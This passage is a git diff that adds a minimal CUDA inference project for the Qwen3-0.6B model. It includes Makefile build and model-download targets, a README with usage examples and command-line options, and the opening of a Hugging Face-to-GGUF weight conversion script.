$(LIB_PATH) -lcudart -lm -lcublas + +# download the model +.PHONY: download-model +download-model: + @if [ -f Qwen3-0.6B-FP32.gguf ] && [ $$(stat -c%s Qwen3-0.6B-FP32.gguf) -gt 1000000 ]; then \ + echo "Model already exists (size: $$(du -h Qwen3-0.6B-FP32.gguf | cut -f1))"; \ + else \ + echo "Downloading Qwen3-0.6B model (3GB - this will take a while)..."; \ + wget -c https://huggingface.co/huggit0000/Qwen3-0.6B-GGUF-FP32/resolve/main/Qwen3-0.6B-FP32.gguf -O Qwen3-0.6B-FP32.gguf || \ + curl -L -C - https://huggingface.co/huggit0000/Qwen3-0.6B-GGUF-FP32/resolve/main/Qwen3-0.6B-FP32.gguf -o Qwen3-0.6B-FP32.gguf; \ + echo "Model downloaded successfully (size: $$(du -h Qwen3-0.6B-FP32.gguf | cut -f1))"; \ + fi + +# ========================= +# The below is not used hree. + + +# the most basic way of building that is most likely to work on most systems +.PHONY: run +run: run.c + $(CC) -O3 -o run run.c -lm + +# useful for a debug build, can then e.g. analyze with valgrind, example: +# $ valgrind --leak-check=full ./run out/model.bin -n 3 +rundebug: run.c + $(CC) -g -o run run.c -lm + +# https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html +# https://simonbyrne.github.io/notes/fastmath/ +# -Ofast enables all -O3 optimizations. +# Disregards strict standards compliance. +# It also enables optimizations that are not valid for all standard-compliant programs. +# It turns on -ffast-math, -fallow-store-data-races and the Fortran-specific +# -fstack-arrays, unless -fmax-stack-var-size is specified, and -fno-protect-parens. +# It turns off -fsemantic-interposition. +# In our specific application this is *probably* okay to use +#.PHONY: run +#runfast: run.c +# $(CC) -O3 -o run -fopenmp -march=native run.c -lm + +# additionally compiles with OpenMP, allowing multithreaded runs +# make sure to also enable multiple threads when running, e.g.: +# OMP_NUM_THREADS=4 ./run out/model.bin +.PHONY: runomp +runomp: run.c + $(CC) -O3 -fopenmp -march=native run.c -lm -o run + + +.PHONY: clean +clean: + rm -f run runcu runcublas diff --git a/src/xpu/flamegraph/qwen3.cu/README b/src/xpu/flamegraph/qwen3.cu/README new file mode 100644 index 00000000..e949c717 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/README @@ -0,0 +1,166 @@ +# qwen3.cu + +`qwen3.cu` is a **single-file, pure CUDA C implementation** for running inference on the Qwen3 model with no external libraries, no dependencies. It’s a follow-up to my earlier weekend project, [qwen3.c](https://github.com/...), inspired by Andrej Karpathy’s [`llama2.c`](https://github.com/karpathy/llama2.c). Everything’s packed into one file from tokenization all the way to CUDA kernels, staying true to the spirit of minimalism. + +This implementation runs the Qwen3 0.6B model, a small but capable model. I'm using **full-precision GGUF** here, chosen for its clarity and to help others learn its ways. Also, It’s fully self-contained, so there’s no need for any format conversion out of the box. Most GGUF models are quantized to 8-bit or lower, but for this project, you’ll want to use the FP32 version which you can download as below. Or, if you make it work from the BF16 weights, you can convert them using the included `convert_hf_to_gguf_ordered.py` script; I've made sure the layers are ordered numerically so everything aligns correctly. + +Even though GGUF files already include a binary tokenizer, this project reads vocab and merges from plain `.txt` files. It keeps things more transparent and easier to follow. Tokenization and detokenization overhead is negligible compared to the forward pass, so it doesn’t really impact TTS. + +It also supports multi-turn conversation out of the box, and native support for Qwen3’s reasoning mode. For reference, there’s also a cuBLAS version included. It’s roughly 2x faster for now, but I’ll probably try to narrow that gap in the future. I’ll add more explanation on the code later. + +### UPDATE +[Oct-27-25] Added single prompt mode (-q flag) for non-interactive usage +[Oct-27-25] Updated Makefile with --no-device-link flag and download-model target +[Aug-08-25] Remove the nonsense loop. TPS increased from ~35 to ~39. Set base for benchmarking. +[What's next] Improve kernels + +## Quick Start + +```sh +# Clone this repo +git clone https://github.com/gigit0000/qwen3.cu.git +cd qwen3.cu + +# Download FP32 model (3GB) - uses wget/curl, no Git LFS required +make download-model + +# Compile and run (interactive mode) +make runcu +./runcu Qwen3-0.6B-FP32.gguf + +# Or use single prompt mode (runs once and exits) +./runcu Qwen3-0.6B-FP32.gguf -q "What is CUDA?" +``` + +## Faster Inference +Use cuBLAS (roughly 2x faster): +```sh +# Compile and run +make runcublas +./runcublas Qwen3-0.6B-FP32.gguf + +# Single prompt with cuBLAS +./runcublas Qwen3-0.6B-FP32.gguf -q "Explain quantum computing" -r 1 +``` + +## Makefile Improvements + +The Makefile now includes: +- **`make download-model`**: Automatically downloads the 3GB FP32 model using wget/curl (no Git LFS required) +- **Fixed compilation flags**: Added `-Wno-deprecated-gpu-targets --no-device-link` to fix build issues on newer CUDA versions +- **Clean target**: `make clean` removes built binaries + +## Description + +You can enable reasoning (-k 1) or multi-turn (-m 1): +``` +./runcu Qwen3-0.6B-FP32.gguf -k 1 -m 1 +``` + +**New: Single Prompt Mode (-q)** +Run a single query and exit (useful for scripting and automation): +```sh +./runcu Qwen3-0.6B-FP32.gguf -q "What is machine learning?" +./runcu Qwen3-0.6B-FP32.gguf -q "Explain eBPF in one sentence" + +# Combine with other flags +./runcu Qwen3-0.6B-FP32.gguf -q "Why is the sky blue?" -r 1 # with TPS +./runcu Qwen3-0.6B-FP32.gguf -q "2+2=?" -t 0.3 # lower temperature +``` + +If you want to extract text files (vocab.txt, merges.txt and header.txt) on your own, you can use the scripts: +```sh +# tokenizer - vocab.txt and merges.txt +python extract_v_m.py Qwen3-0.6B-FP32.gguf + +``` + +### Inference Examples + +Multi-turn Conversation with the option m +``` +# ./runcu Qwen3-0.6B-FP32.gguf -m 1 -k 0 +Multi-turn = on, thinKing = off, Temperature = 0.60, top-P = 0.95 +Press Enter to exit the chat +Enter system prompt (or Enter to skip): Tell me in one sentence +Q: Where is the best spot in Paris? +A: The best spot in Paris is the Eiffel Tower. +Q: What about the second-best spot? +A: The second-best spot in Paris is the Louvre Museum. +``` + +Reasoning with the option k +``` +# ./runcu Qwen3-0.6B-FP32.gguf -k 1 +Multi-turn = off, thinKing = on, Temperature = 0.60, top-P = 0.95 +Press Enter to exit the chat +Enter system prompt (or Enter to skip): +Q: Why do stars shine? Give me a quick answer! +A: +Okay, the user is asking why stars shine. Let me start by recalling what I know about stars. Stars are luminous objects that emit light. So, the main reason they shine is because they produce light through nuclear fusion. + +Wait, but I should make sure. Stars form from clouds of gas and dust in space. When these clouds cool, they start fusing hydrogen into helium, which releases energy. This energy is what we see as light. So the process is nuclear fusion of hydrogen into helium, which gives off energy. + +I should also mention that the energy from stars is what we perceive as light. Maybe add that this light travels through space and we see it on Earth. But the question is why they shine, so the answer should focus on the energy production. + +I need to keep it simple and concise. The user probably wants a quick answer, so no need for too much detail. Let me check if there's any other reason, but I think that's the main one. Alright, I think that's it. + + +Stars shine because they produce light through nuclear fusion of hydrogen into helium in their cores. This energy is then released as visible light, giving them their luminous glow. +``` +You can enable and monitor TPS with the r option: +``` +./runcu Qwen3-0.6B-FP32.gguf -r 1 +Multi-turn = off, thinKing = off, tps(R) = on, Temperature = 0.60, top-P = 0.95 +Press Enter to exit the chat +Enter system prompt (or Enter to skip): You name is Tom. +Q: What is your name? +A: My name is Tom. +tok/s: 34.482759 +``` + +## Command-Line Options + +``` +Usage: ./runcu [options] +Example: ./runcu Qwen3-0.6B-FP32.gguf + ./runcu Qwen3-0.6B-FP32.gguf -q "What is CUDA?" + +Options: + -t temperature in [0,inf], default 0.6 + -p p value in top-p (nucleus) sampling in [0,1] default 0.95 + -s random seed, default time(NULL) + -m multi-turn: 0 = off (default), 1 = on + -k reasoning: 0 = off (default), 1 = on + -r TPS: 0 = off (default), 1 = on + -q single prompt mode (run once and exit) +``` + +**Usage Tips:** +- Use `-q` for automation, scripting, or quick queries +- Combine `-q` with `-r 1` to measure inference speed +- Use `-k 1` to enable Qwen3's reasoning mode (shows thinking process) +- Use `-m 1` for multi-turn conversations (maintains context) +- Lower `-t` (temperature) for more deterministic outputs +- Use `runcublas` instead of `runcu` for 2x faster inference + +## (Maybe) TODO +- [ ] Kernel optimization +- [ ] CUTLASS version +- [ ] KV cache for multi-turn conversations + +## Acknoledgement +- Inspired and baselined from Andrej Kapathy's [llama2.c](https://github.com/karpathy/llama2.c) +- Most kernels and CUDA ports were originally adopted from @rogerallen's great repo [llama2.cu](https://github.com/rogerallen/) +- Based on my qwen3.c [repo](https://github.com/gigit0000/qwen3.c/) +- GGUF [llama.cpp](https://github.com/ggml-org/llama.cpp) +- FGPF + +## License +MIT + + + + + + diff --git a/src/xpu/flamegraph/qwen3.cu/convert_hf_to_gguf_ordered.py b/src/xpu/flamegraph/qwen3.cu/convert_hf_to_gguf_ordered.py new file mode 100644 index 00000000..fd9af765 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/convert_hf_to_gguf_ordered.py @@ -0,0 +1,6843 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +from __future__ import annotations + +import ast +import logging +import argparse +import contextlib +import json +import os +import re +import sys +from enum import IntEnum +from pathlib import Path +from hashlib import sha256 +from typing import TYPE_CHECKING, Any, Callable, ContextManager, Iterable, Iterator, Literal, Sequence, TypeVar, cast +from itertools import chain +from transformers import AutoConfig + +import math +import numpy as np +import torch + +if TYPE_CHECKING: + from torch import Tensor + +if 'NO_LOCAL_GGUF' not in os.environ: + sys.path.insert(1, str(Path(__file__).parent / 'gguf-py')) +import gguf + +logger = logging.getLogger("hf-to-gguf") + + +###### MODEL DEFINITIONS ###### + +class SentencePieceTokenTypes(IntEnum): + NORMAL = 1 + UNKNOWN = 2 + CONTROL = 3 + USER_DEFINED = 4 + UNUSED = 5 + BYTE = 6 + + +class ModelType(IntEnum): + TEXT = 1 + MMPROJ = 2 + + +AnyModel = TypeVar("AnyModel", bound="type[ModelBase]") + + +class ModelBase: + _model_classes: dict[ModelType, dict[str, type[ModelBase]]] = { + ModelType.TEXT: {}, + ModelType.MMPROJ: {}, + } + + dir_model: Path + ftype: gguf.LlamaFileType + fname_out: Path + is_big_endian: bool + endianess: gguf.GGUFEndian + use_temp_file: bool + lazy: bool + part_names: list[str] + is_safetensors: bool + hparams: dict[str, Any] + tensor_names: set[str] | None + gguf_writer: gguf.GGUFWriter + model_name: str | None + metadata_override: Path | None + dir_model_card: Path + remote_hf_model_id: str | None + + # subclasses should define this! + model_arch: gguf.MODEL_ARCH + + # subclasses should initialize this! + block_count: int + tensor_map: gguf.TensorNameMap + + def __init__(self, dir_model: Path, ftype: gguf.LlamaFileType, fname_out: Path, *, is_big_endian: bool = False, + use_temp_file: bool = False, eager: bool = False, + metadata_override: Path | None = None, model_name: str | None = None, + split_max_tensors: int = 0, split_max_size: int = 0, dry_run: bool = False, + small_first_shard: bool = False, hparams: dict[str, Any] | None = None, remote_hf_model_id: str | None = None): + if type(self) is ModelBase or \ + type(self) is TextModel or \ + type(self) is MmprojModel: + raise TypeError(f"{type(self).__name__!r} should not be directly instantiated") + + self.dir_model = dir_model + self.ftype = ftype + self.fname_out = fname_out + self.is_big_endian = is_big_endian + self.endianess = gguf.GGUFEndian.BIG if is_big_endian else gguf.GGUFEndian.LITTLE + self.use_temp_file = use_temp_file + self.lazy = not eager or (remote_hf_model_id is not None) + self.remote_hf_model_id = remote_hf_model_id + if remote_hf_model_id is not None: + self.is_safetensors = True + + def get_remote_tensors() -> Iterator[tuple[str, Tensor]]: + logger.info(f"Using remote model with HuggingFace id: {remote_hf_model_id}") + remote_tensors = gguf.utility.SafetensorRemote.get_list_tensors_hf_model(remote_hf_model_id) + self.tensor_names = set(name for name in remote_tensors.keys()) + for name, remote_tensor in gguf.utility.SafetensorRemote.get_list_tensors_hf_model(remote_hf_model_id).items(): + yield (name, LazyTorchTensor.from_remote_tensor(remote_tensor)) + + self.get_tensors = get_remote_tensors + else: + self.part_names = ModelBase.get_model_part_names(self.dir_model, "model", ".safetensors") + self.is_safetensors = len(self.part_names) > 0 + if not self.is_safetensors: + self.part_names = ModelBase.get_model_part_names(self.dir_model, "pytorch_model", ".bin") + self.hparams = ModelBase.load_hparams(self.dir_model) if hparams is None else hparams + self.tensor_names = None + self.metadata_override = metadata_override + self.model_name = model_name + self.dir_model_card = dir_model # overridden in convert_lora_to_gguf.py + + # Apply heuristics to figure out typical tensor encoding based on first layer tensor encoding type + if self.ftype == gguf.LlamaFileType.GUESSED: + # NOTE: can't use field "torch_dtype" in config.json, because some finetunes lie. + _, first_tensor = next(self.get_tensors()) + if first_tensor.dtype == torch.float16: + logger.info(f"choosing --outtype f16 from first tensor type ({first_tensor.dtype})") + self.ftype = gguf.LlamaFileType.MOSTLY_F16 + else: + logger.info(f"choosing --outtype bf16 from first tensor type ({first_tensor.dtype})") + self.ftype = gguf.LlamaFileType.MOSTLY_BF16 + + # Configure GGUF Writer + self.gguf_writer = gguf.GGUFWriter(path=None, arch=gguf.MODEL_ARCH_NAMES[self.model_arch], endianess=self.endianess, use_temp_file=self.use_temp_file, + split_max_tensors=split_max_tensors, split_max_size=split_max_size, dry_run=dry_run, small_first_shard=small_first_shard) + + @classmethod + def add_prefix_to_filename(cls, path: Path, prefix: str) -> Path: + stem, suffix = path.stem, path.suffix + new_name = f"{prefix}{stem}{suffix}" + return path.with_name(new_name) + + def find_hparam(self, keys: Iterable[str], optional: bool = False) -> Any: + key = next((k for k in keys if k in self.hparams), None) + if key is not None: + return self.hparams[key] + if optional: + return None + raise KeyError(f"could not find any of: {keys}") + + def get_tensors(self) -> Iterator[tuple[str, Tensor]]: + tensor_names_from_parts: set[str] = set() + + index_name = "model.safetensors" if self.is_safetensors else "pytorch_model.bin" + index_name += ".index.json" + index_file = self.dir_model / index_name + + if index_file.is_file(): + self.tensor_names = set() + logger.info(f"gguf: loading model weight map from '{index_name}'") + with open(index_file, "r", encoding="utf-8") as f: + index: dict[str, Any] = json.load(f) + weight_map = index.get("weight_map") + if weight_map is None or not isinstance(weight_map, dict): + raise ValueError(f"Can't load 'weight_map' from {index_name!r}") + self.tensor_names.update(weight_map.keys()) + else: + self.tensor_names = tensor_names_from_parts + weight_map = {} + + for part_name in self.part_names: + logger.info(f"gguf: loading model part '{part_name}'") + ctx: ContextManager[Any] + if self.is_safetensors: + from safetensors import safe_open + ctx = cast(ContextManager[Any], safe_open(self.dir_model / part_name, framework="pt", device="cpu")) + else: + ctx = contextlib.nullcontext(torch.load(str(self.dir_model / part_name), map_location="cpu", mmap=True, weights_only=True)) + + with ctx as model_part: + tensor_names_from_parts.update(model_part.keys()) + + for name in model_part.keys(): + if self.is_safetensors: + if self.lazy: + data = model_part.get_slice(name) + data = LazyTorchTensor.from_safetensors_slice(data) + else: + data = model_part.get_tensor(name) + else: + data = model_part[name] + if self.lazy: + data = LazyTorchTensor.from_eager(data) + yield name, data + + # verify tensor name presence and identify potentially missing files + if len(tensor_names_from_parts.symmetric_difference(self.tensor_names)) > 0: + missing = sorted(self.tensor_names.difference(tensor_names_from_parts)) + extra = sorted(tensor_names_from_parts.difference(self.tensor_names)) + missing_files = sorted(set(weight_map[n] for n in missing if n in weight_map)) + if len(extra) == 0 and len(missing_files) > 0: + raise ValueError(f"Missing or incomplete model files: {missing_files}\n" + f"Missing tensors: {missing}") + else: + raise ValueError("Mismatch between weight map and model parts for tensor names:\n" + f"Missing tensors: {missing}\n" + f"Extra tensors: {extra}") + + def format_tensor_name(self, key: gguf.MODEL_TENSOR, bid: int | None = None, suffix: str = ".weight") -> str: + if key not in gguf.MODEL_TENSORS[self.model_arch]: + raise ValueError(f"Missing {key!r} for MODEL_TENSORS of {self.model_arch!r}") + name: str = gguf.TENSOR_NAMES[key] + if "{bid}" in name: + assert bid is not None + name = name.format(bid=bid) + return name + suffix + + def match_model_tensor_name(self, name: str, key: gguf.MODEL_TENSOR, bid: int | None, suffix: str = ".weight") -> bool: + if key not in gguf.MODEL_TENSORS[self.model_arch]: + return False + key_name: str = gguf.TENSOR_NAMES[key] + if "{bid}" in key_name: + if bid is None: + return False + key_name = key_name.format(bid=bid) + else: + if bid is not None: + return False + return name == (key_name + suffix) + + def map_tensor_name(self, name: str, try_suffixes: Sequence[str] = (".weight", ".bias")) -> str: + new_name = self.tensor_map.get_name(key=name, try_suffixes=try_suffixes) + if new_name is None: + raise ValueError(f"Can not map tensor {name!r}") + return new_name + + def set_gguf_parameters(self): + raise NotImplementedError("set_gguf_parameters() must be implemented in subclasses") + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + return [(self.map_tensor_name(name), data_torch)] + + def tensor_force_quant(self, name: str, new_name: str, bid: int | None, n_dims: int) -> gguf.GGMLQuantizationType | bool: + del name, new_name, bid, n_dims # unused + + return False + + # some models need extra generated tensors (like rope_freqs) + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + return () + + def prepare_tensors(self): + max_name_len = max(len(s) for _, s in self.tensor_map.mapping.values()) + len(".weight,") + + all_tensors = [] + + for name, data_torch in chain(self.generate_extra_tensors(), self.get_tensors()): + # we don't need these + if name.endswith((".attention.masked_bias", ".attention.bias", ".rotary_emb.inv_freq")): + continue + + old_dtype = data_torch.dtype + + # convert any unsupported data types to float32 + if data_torch.dtype not in (torch.float16, torch.float32): + data_torch = data_torch.to(torch.float32) + + # use the first number-like part of the tensor name as the block id + bid = None + for part in name.split("."): + if part.isdecimal(): + bid = int(part) + break + + + + for new_name, data_torch in (self.modify_tensors(data_torch, name, bid)): + all_tensors.append((new_name, data_torch, name, bid, old_dtype)) + + # Sort tensors by block ID (bid), putting None values first + def sort_key(tensor_info): + new_name, data_torch, name, bid, old_dtype = tensor_info + if bid is None: + return (-1, new_name) # Put non-block tensors first + else: + return (bid, new_name) # Sort blocks numerically, then by name + + all_tensors.sort(key=sort_key) + + + for new_name, data_torch, name, bid, old_dtype in all_tensors: + # TODO: why do we squeeze here? + # data = data_torch.squeeze().numpy() + data = data_torch.numpy() + + # if data ends up empty, it means data_torch was a scalar tensor -> restore + if len(data.shape) == 0: + data = data_torch.numpy() + + n_dims = len(data.shape) + data_qtype: gguf.GGMLQuantizationType | bool = self.tensor_force_quant(name, new_name, bid, n_dims) + + # Most of the codebase that takes in 1D tensors or norms only handles F32 tensors + if n_dims <= 1 or new_name.endswith("_norm.weight"): + data_qtype = gguf.GGMLQuantizationType.F32 + + # Conditions should closely match those in llama_model_quantize_internal in llama.cpp + # Some tensor types are always in float32 + if data_qtype is False and ( + any( + self.match_model_tensor_name(new_name, key, bid) + for key in ( + gguf.MODEL_TENSOR.FFN_GATE_INP, + gguf.MODEL_TENSOR.POS_EMBD, + gguf.MODEL_TENSOR.TOKEN_TYPES, + gguf.MODEL_TENSOR.SSM_CONV1D, + gguf.MODEL_TENSOR.TIME_MIX_FIRST, + gguf.MODEL_TENSOR.TIME_MIX_W1, + gguf.MODEL_TENSOR.TIME_MIX_W2, + gguf.MODEL_TENSOR.TIME_MIX_DECAY_W1, + gguf.MODEL_TENSOR.TIME_MIX_DECAY_W2, + gguf.MODEL_TENSOR.TIME_MIX_LERP_FUSED, + gguf.MODEL_TENSOR.POSNET_NORM1, + gguf.MODEL_TENSOR.POSNET_NORM2, + gguf.MODEL_TENSOR.V_ENC_EMBD_POS, + gguf.MODEL_TENSOR.A_ENC_EMBD_POS, + gguf.MODEL_TENSOR.ALTUP_CORRECT_COEF, + gguf.MODEL_TENSOR.ALTUP_PREDICT_COEF, + ) + ) + or not new_name.endswith(".weight") + ): + data_qtype = gguf.GGMLQuantizationType.F32 + + if data_qtype is False and any( + self.match_model_tensor_name(new_name, key, bid) + for key in ( + gguf.MODEL_TENSOR.TOKEN_EMBD, + gguf.MODEL_TENSOR.PER_LAYER_TOKEN_EMBD, + gguf.MODEL_TENSOR.OUTPUT, + gguf.MODEL_TENSOR.ALTUP_ROUTER, + gguf.MODEL_TENSOR.LAUREL_L, + gguf.MODEL_TENSOR.LAUREL_R, + ) + ): + if self.ftype in ( + gguf.LlamaFileType.MOSTLY_TQ1_0, + gguf.LlamaFileType.MOSTLY_TQ2_0, + ): + # TODO: use Q4_K and Q6_K + data_qtype = gguf.GGMLQuantizationType.F16 + + # No override (data_qtype is False), or wants to be quantized (data_qtype is True) + if isinstance(data_qtype, bool): + if self.ftype == gguf.LlamaFileType.ALL_F32: + data_qtype = gguf.GGMLQuantizationType.F32 + elif self.ftype == gguf.LlamaFileType.MOSTLY_F16: + data_qtype = gguf.GGMLQuantizationType.F16 + elif self.ftype == gguf.LlamaFileType.MOSTLY_BF16: + data_qtype = gguf.GGMLQuantizationType.BF16 + elif self.ftype == gguf.LlamaFileType.MOSTLY_Q8_0: + data_qtype = gguf.GGMLQuantizationType.Q8_0 + elif self.ftype == gguf.LlamaFileType.MOSTLY_TQ1_0: + data_qtype = gguf.GGMLQuantizationType.TQ1_0 + elif self.ftype == gguf.LlamaFileType.MOSTLY_TQ2_0: + data_qtype = gguf.GGMLQuantizationType.TQ2_0 + else: + raise ValueError(f"Unknown file type: {self.ftype.name}") + + try: + data = gguf.quants.quantize(data, data_qtype) + except gguf.QuantError as e: + logger.warning("%s, %s", e, "falling back to F16") + data_qtype = gguf.GGMLQuantizationType.F16 + data = gguf.quants.quantize(data, data_qtype) + + shape = gguf.quant_shape_from_byte_shape(data.shape, data_qtype) if data.dtype == np.uint8 else data.shape + + # reverse shape to make it similar to the internal ggml dimension order + shape_str = f"{{{', '.join(str(n) for n in reversed(shape))}}}" + + # n_dims is implicit in the shape + logger.info(f"{f'%-{max_name_len}s' % f'{new_name},'} {old_dtype} --> {data_qtype.name}, shape = {shape_str}") + + self.gguf_writer.add_tensor(new_name, data, raw_dtype=data_qtype) + + def set_type(self): + self.gguf_writer.add_type(gguf.GGUFType.MODEL) + + def prepare_metadata(self, vocab_only: bool): + + total_params, shared_params, expert_params, expert_count = self.gguf_writer.get_total_parameter_count() + + self.metadata = gguf.Metadata.load(self.metadata_override, self.dir_model_card, self.model_name, total_params) + + # If we are using HF model id, set the metadata name to the model id + if self.remote_hf_model_id: + self.metadata.name = self.remote_hf_model_id + + # Fallback to model directory name if metadata name is still missing + if self.metadata.name is None: + self.metadata.name = self.dir_model.name + + # Generate parameter weight class (useful for leader boards) if not yet determined + if self.metadata.size_label is None and total_params > 0: + self.metadata.size_label = gguf.size_label(total_params, shared_params, expert_params, expert_count) + + self.set_type() + + logger.info("Set meta model") + self.metadata.set_gguf_meta_model(self.gguf_writer) + + logger.info("Set model parameters") + self.set_gguf_parameters() + + logger.info("Set model quantization version") + self.gguf_writer.add_quantization_version(gguf.GGML_QUANT_VERSION) + + def write_vocab(self): + raise NotImplementedError("write_vocab() must be implemented in subclasses") + + def write(self): + self.prepare_tensors() + self.prepare_metadata(vocab_only=False) + self.gguf_writer.write_header_to_file(path=self.fname_out) + self.gguf_writer.write_kv_data_to_file() + self.gguf_writer.write_tensors_to_file(progress=True) + self.gguf_writer.close() + + @staticmethod + def get_model_part_names(dir_model: Path, prefix: str, suffix: str) -> list[str]: + part_names: list[str] = [] + for filename in os.listdir(dir_model): + if filename.startswith(prefix) and filename.endswith(suffix): + part_names.append(filename) + + part_names.sort() + + return part_names + + @staticmethod + def load_hparams(dir_model: Path): + try: + # for security reason, we don't allow loading remote code by default + # if a model need remote code, we will fallback to config.json + config = AutoConfig.from_pretrained(dir_model, trust_remote_code=False).to_dict() + except Exception as e: + logger.warning(f"Failed to load model config from {dir_model}: {e}") + logger.warning("Trying to load config.json instead") + with open(dir_model / "config.json", "r", encoding="utf-8") as f: + config = json.load(f) + if "llm_config" in config: + # rename for InternVL + config["text_config"] = config["llm_config"] + if "thinker_config" in config: + # rename for Qwen2.5-Omni + config["text_config"] = config["thinker_config"]["text_config"] + return config + + @classmethod + def register(cls, *names: str) -> Callable[[AnyModel], AnyModel]: + assert names + + def func(modelcls: AnyModel) -> AnyModel: + model_type = ModelType.MMPROJ if modelcls.model_arch == gguf.MODEL_ARCH.MMPROJ else ModelType.TEXT + for name in names: + cls._model_classes[model_type][name] = modelcls + return modelcls + return func + + @classmethod + def print_registered_models(cls): + for model_type, model_classes in cls._model_classes.items(): + logger.error(f"{model_type.name} models:") + for name in sorted(model_classes.keys()): + logger.error(f" - {name}") + + @classmethod + def from_model_architecture(cls, arch: str, model_type = ModelType.TEXT) -> type[ModelBase]: + try: + return cls._model_classes[model_type][arch] + except KeyError: + raise NotImplementedError(f'Architecture {arch!r} not supported!') from None + + +class TextModel(ModelBase): + model_type = ModelType.TEXT + hf_arch: str + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.hf_arch = get_model_architecture(self.hparams, self.model_type) + + if "text_config" in self.hparams: + # move the text_config to the root level + self.hparams = {**self.hparams, **self.hparams["text_config"]} + + self.block_count = self.find_hparam(["n_layers", "num_hidden_layers", "n_layer", "num_layers"]) + self.tensor_map = gguf.get_tensor_name_map(self.model_arch, self.block_count) + + @classmethod + def __init_subclass__(cls): + # can't use an abstract property, because overriding it without type errors + # would require using decorated functions instead of simply defining the property + if "model_arch" not in cls.__dict__: + raise TypeError(f"Missing property 'model_arch' for {cls.__name__!r}") + + def set_vocab(self): + self._set_vocab_gpt2() + + def prepare_metadata(self, vocab_only: bool): + super().prepare_metadata(vocab_only=vocab_only) + + total_params = self.gguf_writer.get_total_parameter_count()[0] + # Extract the encoding scheme from the file type name. e.g. 'gguf.LlamaFileType.MOSTLY_Q8_0' --> 'Q8_0' + output_type: str = self.ftype.name.partition("_")[2] + + # Filename Output + if self.fname_out.is_dir(): + # Generate default filename based on model specification and available metadata + if not vocab_only: + fname_default: str = gguf.naming_convention(self.metadata.name, self.metadata.basename, self.metadata.finetune, self.metadata.version, self.metadata.size_label, output_type, model_type="LoRA" if total_params < 0 else None) + else: + fname_default: str = gguf.naming_convention(self.metadata.name, self.metadata.basename, self.metadata.finetune, self.metadata.version, size_label=None, output_type=None, model_type="vocab") + + # Use the default filename + self.fname_out = self.fname_out / f"{fname_default}.gguf" + else: + # Output path is a custom defined templated filename + # Note: `not is_dir()` is used because `.is_file()` will not detect + # file template strings as it doesn't actually exist as a file + + # Process templated file name with the output ftype, useful with the "auto" ftype + self.fname_out = self.fname_out.parent / gguf.fill_templated_filename(self.fname_out.name, output_type) + + logger.info("Set model tokenizer") + self.set_vocab() + + def set_gguf_parameters(self): + self.gguf_writer.add_block_count(self.block_count) + + if (n_ctx := self.find_hparam(["max_position_embeddings", "n_ctx", "n_positions", "max_length"], optional=True)) is not None: + self.gguf_writer.add_context_length(n_ctx) + logger.info(f"gguf: context length = {n_ctx}") + + if (n_embd := self.find_hparam(["hidden_size", "n_embd", "dim"], optional=True)) is not None: + self.gguf_writer.add_embedding_length(n_embd) + logger.info(f"gguf: embedding length = {n_embd}") + + if (n_ff := self.find_hparam(["intermediate_size", "n_inner", "hidden_dim"], optional=True)) is not None: + self.gguf_writer.add_feed_forward_length(n_ff) + logger.info(f"gguf: feed forward length = {n_ff}") + + if (n_head := self.find_hparam(["num_attention_heads", "n_head", "n_heads"], optional=True)) is not None: + self.gguf_writer.add_head_count(n_head) + logger.info(f"gguf: head count = {n_head}") + + if (n_head_kv := self.hparams.get("num_key_value_heads")) is not None: + self.gguf_writer.add_head_count_kv(n_head_kv) + logger.info(f"gguf: key-value head count = {n_head_kv}") + + if (rope_theta := self.hparams.get("rope_theta")) is not None: + self.gguf_writer.add_rope_freq_base(rope_theta) + logger.info(f"gguf: rope theta = {rope_theta}") + if (f_rms_eps := self.hparams.get("rms_norm_eps")) is not None: + self.gguf_writer.add_layer_norm_rms_eps(f_rms_eps) + logger.info(f"gguf: rms norm epsilon = {f_rms_eps}") + if (f_norm_eps := self.find_hparam(["layer_norm_eps", "layer_norm_epsilon", "norm_epsilon"], optional=True)) is not None: + self.gguf_writer.add_layer_norm_eps(f_norm_eps) + logger.info(f"gguf: layer norm epsilon = {f_norm_eps}") + if (n_experts := self.hparams.get("num_local_experts")) is not None: + self.gguf_writer.add_expert_count(n_experts) + logger.info(f"gguf: expert count = {n_experts}") + if (n_experts_used := self.hparams.get("num_experts_per_tok")) is not None: + self.gguf_writer.add_expert_used_count(n_experts_used) + logger.info(f"gguf: experts used count = {n_experts_used}") + + if (head_dim := self.hparams.get("head_dim")) is not None: + self.gguf_writer.add_key_length(head_dim) + self.gguf_writer.add_value_length(head_dim) + + self.gguf_writer.add_file_type(self.ftype) + logger.info(f"gguf: file type = {self.ftype}") + + def write_vocab(self): + if len(self.gguf_writer.tensors) != 1: + raise ValueError('Splitting the vocabulary is not supported') + + self.prepare_metadata(vocab_only=True) + self.gguf_writer.write_header_to_file(path=self.fname_out) + self.gguf_writer.write_kv_data_to_file() + self.gguf_writer.close() + + def does_token_look_special(self, token: str | bytes) -> bool: + if isinstance(token, (bytes, bytearray)): + token_text = token.decode(encoding="utf-8") + elif isinstance(token, memoryview): + token_text = token.tobytes().decode(encoding="utf-8") + else: + token_text = token + + # Some models mark some added tokens which ought to be control tokens as not special. + # (e.g. command-r, command-r-plus, deepseek-coder, gemma{,-2}) + seems_special = token_text in ( + "", # deepseek-coder + "", "<2mass>", "[@BOS@]", # gemma{,-2} + ) + + seems_special = seems_special or (token_text.startswith("<|") and token_text.endswith("|>")) + seems_special = seems_special or (token_text.startswith("<|") and token_text.endswith("|>")) # deepseek-coder + + # TODO: should these be marked as UNUSED instead? (maybe not) + seems_special = seems_special or (token_text.startswith("")) # gemma{,-2} + + return seems_special + + # used for GPT-2 BPE and WordPiece vocabs + def get_vocab_base(self) -> tuple[list[str], list[int], str]: + tokens: list[str] = [] + toktypes: list[int] = [] + + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(self.dir_model) + vocab_size = self.hparams.get("vocab_size", len(tokenizer.vocab)) + assert max(tokenizer.vocab.values()) < vocab_size + + tokpre = self.get_vocab_base_pre(tokenizer) + + reverse_vocab = {id_: encoded_tok for encoded_tok, id_ in tokenizer.vocab.items()} + added_vocab = 